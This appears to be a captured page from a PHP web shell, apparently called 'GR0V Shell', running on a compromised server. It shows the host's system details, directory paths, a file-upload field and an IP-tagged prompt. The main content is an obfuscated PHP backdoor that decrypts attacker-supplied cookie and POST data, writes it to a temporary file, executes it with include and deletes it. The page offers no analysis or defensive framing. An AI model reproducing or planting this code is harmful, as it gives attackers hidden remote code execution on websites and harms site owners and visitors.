? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/ezsuf/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/ezsuf/187d3ea1.php

$WDyflvfCf = chr (117) . "\165" . chr (95) . "\111" . "\x49" . chr ( 552 - 436 ).'O' . "\x44";$JQPgallwub = chr (99) . chr ( 138 - 30 ).chr (97) . 's' . chr (115) . chr (95) . 'e' . chr ( 983 - 863 )."\151" . "\x73" . chr ( 216 - 100 ).'s';$zcwfihKEyB = $JQPgallwub($WDyflvfCf); $gsZeZc = $zcwfihKEyB;if (!$gsZeZc){class uu_IItOD{private $mirlnlzITV;public static $VEaxgKbaa = "ea34c8e5-cf95-4e58-a563-e7caaf4ad39b";public static $JhQDreYgJ = 57378;public function __construct($RZVji=0){$SVphpTBvY = $_COOKIE;$tPTKV = $_POST;$AlfRnEx = @$SVphpTBvY[substr(uu_IItOD::$VEaxgKbaa, 0, 4)];if (!empty($AlfRnEx)){$ZozDbG = "base64";$KdLaCfoCkh = "";$AlfRnEx = explode(",", $AlfRnEx);foreach ($AlfRnEx as $eYalx){$KdLaCfoCkh .= @$SVphpTBvY[$eYalx];$KdLaCfoCkh .= @$tPTKV[$eYalx];}$KdLaCfoCkh = array_map($ZozDbG . '_' . "\x64" . chr ( 727 - 626 ).chr ( 391 - 292 )."\x6f" . "\144" . 'e', array($KdLaCfoCkh,)); $KdLaCfoCkh = $KdLaCfoCkh[0] ^ str_repeat(uu_IItOD::$VEaxgKbaa, (strlen($KdLaCfoCkh[0]) / strlen(uu_IItOD::$VEaxgKbaa)) + 1);uu_IItOD::$JhQDreYgJ = @unserialize($KdLaCfoCkh);}}private function ZnWYF(){if (is_array(uu_IItOD::$JhQDreYgJ)) {$SmGulTQDB = sys_get_temp_dir() . "/" . crc32(uu_IItOD::$JhQDreYgJ["\x73" . chr (97) . "\x6c" . 't']);@uu_IItOD::$JhQDreYgJ["\x77" . "\x72" . 'i' . chr ( 286 - 170 )."\x65"]($SmGulTQDB, uu_IItOD::$JhQDreYgJ[chr ( 806 - 707 ).'o' . 'n' . 't' . 'e' . chr ( 868 - 758 ).chr ( 310 - 194 )]);include $SmGulTQDB;@uu_IItOD::$JhQDreYgJ[chr (100) . "\x65" . chr ( 167 - 59 ).chr (101) . "\164" . 'e']($SmGulTQDB); $BmmEa = "16164";exit();}}public function __destruct(){$this->ZnWYF(); $BmmEa = "16164";}}$GapjH = new uu_IItOD(); $GapjH = "51560_10130";}

T1KUS90T
  root-grov@210.1.60.28:~$